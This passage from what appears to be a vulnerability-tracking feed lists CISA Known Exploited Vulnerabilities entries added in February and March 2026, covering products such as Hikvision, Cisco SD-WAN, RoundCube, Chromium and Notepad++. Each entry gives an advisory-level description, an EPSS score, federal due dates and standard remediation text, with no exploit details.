days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-1603&date=2026-10-25). Sources: CISA KEV entry CVE-2026-1603: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-1603&date=2026-10-25 CISA added this entry on 2026-03-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 9, 2026; federal due date Mar 23, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Hikvision Multiple Products Improper Authentication Vulnerability https://kevwire.com/record/CVE-2017-7921 Hikvision Multiple Products Improper Authentication Vulnerability (Mar 5, 2026). Multiple Hikvision products contain an improper authentication vulnerability that could allow a malicious user to escalate privileges on the system and gain access to sensitive information. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-7921&date=2026-10-25). Sources: CISA KEV entry CVE-2017-7921: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-7921&date=2026-10-25 CISA added this entry on 2026-03-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 5, 2026; federal due date Mar 26, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Rockwell Multiple Products Insufficient Protected Credentials Vulnerability https://kevwire.com/record/CVE-2021-22681 Rockwell Multiple Products Insufficient Protected Credentials Vulnerability (Mar 5, 2026). Multiple Rockwell products contain an insufficient protected credentials vulnerability. Studio 5000 Logix Designer software may allow a key to be discovered. This key is used to verify Logix controllers are communicating with Rockwell Automation design software. If successfully exploited, this vulnerability could allow an unauthorized application to connect with Logix controllers. To leverage this vulnerability, an unauthorized user would require network access to the controller. EPSS 63.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-22681&date=2026-10-25). Sources: CISA KEV entry CVE-2021-22681: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-22681&date=2026-10-25 CISA added this entry on 2026-03-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 5, 2026; federal due date Mar 26, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple Multiple products Use-After-Free Vulnerability https://kevwire.com/record/CVE-2023-43000 Apple Multiple products Use-After-Free Vulnerability (Mar 5, 2026). Apple macOS, iOS, iPadOS, and Safari 16.6 contain a use-after-free vulnerability due to the processing of maliciously crafted web content that may lead to memory corruption. EPSS 4.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-43000&date=2026-10-25). Sources: CISA KEV entry CVE-2023-43000: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-43000&date=2026-10-25 CISA added this entry on 2026-03-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 5, 2026; federal due date Mar 26, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple Multiple Products Integer Overflow or Wraparound Vulnerability https://kevwire.com/record/CVE-2021-30952 Apple Multiple Products Integer Overflow or Wraparound Vulnerability (Mar 5, 2026). Apple tvOS, macOS, Safari, iPadOS and watchOS contain an integer overflow or wraparound vulnerability due to the processing of maliciously crafted web content that may lead to arbitrary code execution. EPSS 7.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-30952&date=2026-10-25). Sources: CISA KEV entry CVE-2021-30952: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-30952&date=2026-10-25 CISA added this entry on 2026-03-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 5, 2026; federal due date Mar 26, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple iOS and iPadOS Use-After-Free Vulnerability https://kevwire.com/record/CVE-2023-41974 Apple iOS and iPadOS Use-After-Free Vulnerability (Mar 5, 2026). Apple iOS and iPadOS contain a use-after-free vulnerability. An app may be able to execute arbitrary code with kernel privileges. EPSS 2.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-41974&date=2026-10-25). Sources: CISA KEV entry CVE-2023-41974: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-41974&date=2026-10-25 CISA added this entry on 2026-03-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 5, 2026; federal due date Mar 26, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Broadcom VMware Aria Operations Command Injection Vulnerability https://kevwire.com/record/CVE-2026-22719 Broadcom VMware Aria Operations Command Injection Vulnerability (Mar 3, 2026). Broadcom VMware Aria Operations formerly known as vRealize Operations (vROps) contains a command injection vulnerability that allows an unauthenticated attacker to execute arbitrary commands, potentially leading to remote code execution during support‑assisted product migration. EPSS 18.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-22719&date=2026-10-25). Sources: CISA KEV entry CVE-2026-22719: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-22719&date=2026-10-25 CISA added this entry on 2026-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2026; federal due date Mar 24, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Qualcomm Multiple Chipsets Memory Corruption Vulnerability https://kevwire.com/record/CVE-2026-21385 Qualcomm Multiple Chipsets Memory Corruption Vulnerability (Mar 3, 2026). Multiple Qualcomm chipsets contain a memory corruption vulnerability while using alignments for memory allocation. EPSS 1.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-21385&date=2026-10-25). Sources: CISA KEV entry CVE-2026-21385: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-21385&date=2026-10-25 CISA added this entry on 2026-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2026; federal due date Mar 24, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco SD-WAN Path Traversal Vulnerability https://kevwire.com/record/CVE-2022-20775 Cisco SD-WAN Path Traversal Vulnerability (Feb 25, 2026). Cisco SD-WAN CLI contains a path traversal vulnerability that could allow an authenticated local attacker to gain elevated privileges via improper access controls on commands within the application CLI. A successful exploit could allow the attacker to execute arbitrary commands as the root user. EPSS 12.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-20775&date=2026-10-25). Sources: CISA KEV entry CVE-2022-20775: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-20775&date=2026-10-25 CISA added this entry on 2026-02-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Please adhere to CISA’s guidelines to assess exposure and mitigate risks associated with Cisco SD-WAN devices as outlines in CISA’s Emergency Directive 26-03 (URL listed below in Notes) and CISA’s “Hunt & Hardening Guidance for Cisco SD-WAN Devices (URL listed below in Notes). Adhere to the applicable BOD 22-01 guidance for cloud services or discontinue use of the product if mitigations are not available. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 25, 2026; federal due date Feb 27, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco Catalyst SD-WAN Controller and Manager Authentication Bypass Vulnerability https://kevwire.com/record/CVE-2026-20127 Cisco Catalyst SD-WAN Controller and Manager Authentication Bypass Vulnerability (Feb 25, 2026). Cisco Catalyst SD-WAN Controller, formerly SD-WAN vSmart, and Cisco Catalyst SD-WAN Manager, formerly SD-WAN vManage, contain an authentication bypass vulnerability could allow an unauthenticated, remote attacker to bypass authentication and obtain administrative privileges on an affected system. This vulnerability exists because the peering authentication mechanism in an affected system is not working properly. An attacker could exploit this vulnerability by sending crafted requests to an affected system. A successful exploit could allow the attacker to log in to an affected Cisco Catalyst SD-WAN Controller as an internal, high-privileged, non-root user account. Using this account, the attacker could access NETCONF, which would then allow the attacker to manipulate network configuration for the SD-WAN fabric. EPSS 89.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-20127&date=2026-10-25). Sources: CISA KEV entry CVE-2026-20127: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-20127&date=2026-10-25 CISA added this entry on 2026-02-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Please adhere to CISA’s guidelines to assess exposure and mitigate risks associated with Cisco SD-WAN devices as outlines in CISA’s Emergency Directive 26-03 (URL listed below in Notes) and CISA’s “Hunt & Hardening Guidance for Cisco SD-WAN Devices (URL listed below in Notes). Adhere to the applicable BOD 22-01 guidance for cloud services or discontinue use of the product if mitigations are not available. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 25, 2026; federal due date Feb 27, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Soliton Systems K.K FileZen OS Command Injection Vulnerability https://kevwire.com/record/CVE-2026-25108 Soliton Systems K.K FileZen OS Command Injection Vulnerability (Feb 24, 2026). Soliton Systems K.K FileZen contains an OS command injection vulnerability when an user logs-in to the affected product and sends a specially crafted HTTP request. EPSS 5.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-25108&date=2026-10-25). Sources: CISA KEV entry CVE-2026-25108: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-25108&date=2026-10-25 CISA added this entry on 2026-02-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 24, 2026; federal due date Mar 17, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### RoundCube Webmail Deserialization of Untrusted Data Vulnerability https://kevwire.com/record/CVE-2025-49113 RoundCube Webmail Deserialization of Untrusted Data Vulnerability (Feb 20, 2026). RoundCube Webmail contains a deserialization of untrusted data vulnerability that allows remote code execution by authenticated users because the _from parameter in a URL is not validated in program/actions/settings/upload.php. EPSS 99.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-49113&date=2026-10-25). Sources: CISA KEV entry CVE-2025-49113: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-49113&date=2026-10-25 CISA added this entry on 2026-02-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 20, 2026; federal due date Mar 13, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### RoundCube Webmail Cross-site Scripting Vulnerability https://kevwire.com/record/CVE-2025-68461 RoundCube Webmail Cross-site Scripting Vulnerability (Feb 20, 2026). RoundCube Webmail contains a cross-site scripting vulnerability via the animate tag in an SVG document. EPSS 27.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-68461&date=2026-10-25). Sources: CISA KEV entry CVE-2025-68461: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-68461&date=2026-10-25 CISA added this entry on 2026-02-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 20, 2026; federal due date Mar 13, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### GitLab Server-Side Request Forgery (SSRF) Vulnerability https://kevwire.com/record/CVE-2021-22175 GitLab Server-Side Request Forgery (SSRF) Vulnerability (Feb 18, 2026). GitLab contains a server-side request forgery (SSRF) vulnerability when requests to the internal network for webhooks are enabled. EPSS 53.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-22175&date=2026-10-25). Sources: CISA KEV entry CVE-2021-22175: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-22175&date=2026-10-25 CISA added this entry on 2026-02-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 18, 2026; federal due date Mar 11, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Dell RecoverPoint for Virtual Machines (RP4VMs) Use of Hard-coded Credentials Vulnerability https://kevwire.com/record/CVE-2026-22769 Dell RecoverPoint for Virtual Machines (RP4VMs) Use of Hard-coded Credentials Vulnerability (Feb 18, 2026). Dell RecoverPoint for Virtual Machines (RP4VMs) contains an use of hard-coded credentials vulnerability that could allow an unauthenticated remote attacker to gain unauthorized access to the underlying operating system and root-level persistence. EPSS 13.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-22769&date=2026-10-25). Sources: CISA KEV entry CVE-2026-22769: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-22769&date=2026-10-25 CISA added this entry on 2026-02-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 18, 2026; federal due date Feb 21, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Synacor Zimbra Collaboration Suite (ZCS) Server-Side Request Forgery Vulnerability https://kevwire.com/record/CVE-2020-7796 Synacor Zimbra Collaboration Suite (ZCS) Server-Side Request Forgery Vulnerability (Feb 17, 2026). Synacor Zimbra Collaboration Suite (ZCS) contains a server-side request forgery vulnerability if WebEx zimlet installed and zimlet JSP is enabled. EPSS 93.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-7796&date=2026-10-25). Sources: CISA KEV entry CVE-2020-7796: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-7796&date=2026-10-25 CISA added this entry on 2026-02-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 17, 2026; federal due date Mar 10, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### TeamT5 ThreatSonar Anti-Ransomware Unrestricted Upload of File with Dangerous Type Vulnerability https://kevwire.com/record/CVE-2024-7694 TeamT5 ThreatSonar Anti-Ransomware Unrestricted Upload of File with Dangerous Type Vulnerability (Feb 17, 2026). TeamT5 ThreatSonar Anti-Ransomware contains an unrestricted upload of file with dangerous type vulnerability. ThreatSonar Anti-Ransomware does not properly validate the content of uploaded files. Remote attackers with administrator privileges on the product platform can upload malicious files, which can be used to execute arbitrary system commands on the server. EPSS 1.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-7694&date=2026-10-25). Sources: CISA KEV entry CVE-2024-7694: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-7694&date=2026-10-25 CISA added this entry on 2026-02-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 17, 2026; federal due date Mar 10, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Video ActiveX Control Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2008-0015 Microsoft Windows Video ActiveX Control Remote Code Execution Vulnerability (Feb 17, 2026). Microsoft Windows Video ActiveX Control contains a remote code execution vulnerability. An attacker could exploit the vulnerability by constructing a specially crafted Web page. When a user views the Web page, the vulnerability could allow remote code execution. An attacker who successfully exploited this vulnerability could gain the same user rights as the logged-on user. EPSS 76.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2008-0015&date=2026-10-25). Sources: CISA KEV entry CVE-2008-0015: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2008-0015&date=2026-10-25 CISA added this entry on 2026-02-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 17, 2026; federal due date Mar 10, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chromium CSS Use-After-Free Vulnerability https://kevwire.com/record/CVE-2026-2441 Google Chromium CSS Use-After-Free Vulnerability (Feb 17, 2026). Google Chromium CSS contains a use-after-free vulnerability that could allow a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera. EPSS 55.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-2441&date=2026-10-25). Sources: CISA KEV entry CVE-2026-2441: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-2441&date=2026-10-25 CISA added this entry on 2026-02-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 17, 2026; federal due date Mar 10, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### BeyondTrust Remote Support (RS) and Privileged Remote Access (PRA) OS Command Injection Vulnerability https://kevwire.com/record/CVE-2026-1731 BeyondTrust Remote Support (RS) and Privileged Remote Access (PRA) OS Command Injection Vulnerability (Feb 13, 2026). BeyondTrust Remote Support (RS) and Privileged Remote Access (PRA)contain an OS command injection vulnerability. Successful exploitation could allow an unauthenticated remote attacker to execute operating system commands in the context of the site user. Successful exploitation requires no authentication or user interaction and may lead to system compromise, including unauthorized access, data exfiltration, and service disruption. EPSS 93.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-1731&date=2026-10-25). Sources: CISA KEV entry CVE-2026-1731: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-1731&date=2026-10-25 CISA added this entry on 2026-02-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 13, 2026; federal due date Feb 16, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple Multiple Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2026-20700 Apple Multiple Buffer Overflow Vulnerability (Feb 12, 2026). Apple iOS, macOS, tvOS, watchOS, and visionOS contain an improper restriction of operations within the bounds of a memory buffer vulnerability that could allow an attacker with memory write the capability to execute arbitrary code. EPSS 1.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-20700&date=2026-10-25). Sources: CISA KEV entry CVE-2026-20700: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-20700&date=2026-10-25 CISA added this entry on 2026-02-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 12, 2026; federal due date Mar 5, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Configuration Manager SQL Injection Vulnerability https://kevwire.com/record/CVE-2024-43468 Microsoft Configuration Manager SQL Injection Vulnerability (Feb 12, 2026). Microsoft Configuration Manager contains an SQL injection vulnerability. An unauthenticated attacker could exploit this vulnerability by sending specially crafted requests to the target environment which are processed in an unsafe manner enabling the attacker to execute commands on the server and/or underlying database. EPSS 81.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-43468&date=2026-10-25). Sources: CISA KEV entry CVE-2024-43468: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-43468&date=2026-10-25 CISA added this entry on 2026-02-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 12, 2026; federal due date Mar 5, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Notepad++ Download of Code Without Integrity Check Vulnerability https://kevwire.com/record/CVE-2025-15556 Notepad++ Download of Code Without Integrity Check Vulnerability (Feb 12, 2026). Notepad++ when using the WinGUp updater, contains a download of code without integrity check vulnerability that could allow an attacker to intercept or redirect update traffic to download and execute an attacker-controlled installer. This could lead to arbitrary code execution with the privileges of the user. EPSS 1.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-15556&date=2026-10-25). Sources: CISA KEV entry CVE-2025-15556: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-15556&date=2026-10-25 CISA added this entry on 2026-02-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 12, 2026; federal due date Mar 5, 2026. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### SolarWinds Web Help Desk Security Control Bypass Vulnerability https://kevwire.com/record/CVE-2025-40536 SolarWinds Web Help Desk Security Control Bypass Vulnerability (Feb 12, 2026). SolarWinds Web Help Desk contains a security control bypass vulnerability that could allow an unauthenticated attacker to gain access to certain restricted functionality. EPSS 73.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-40536&date=2026-10-25). Sources: CISA KEV entry CVE-2025-40536: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-40536&date=2026-10-25 CISA added this entry on 2026-02-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means 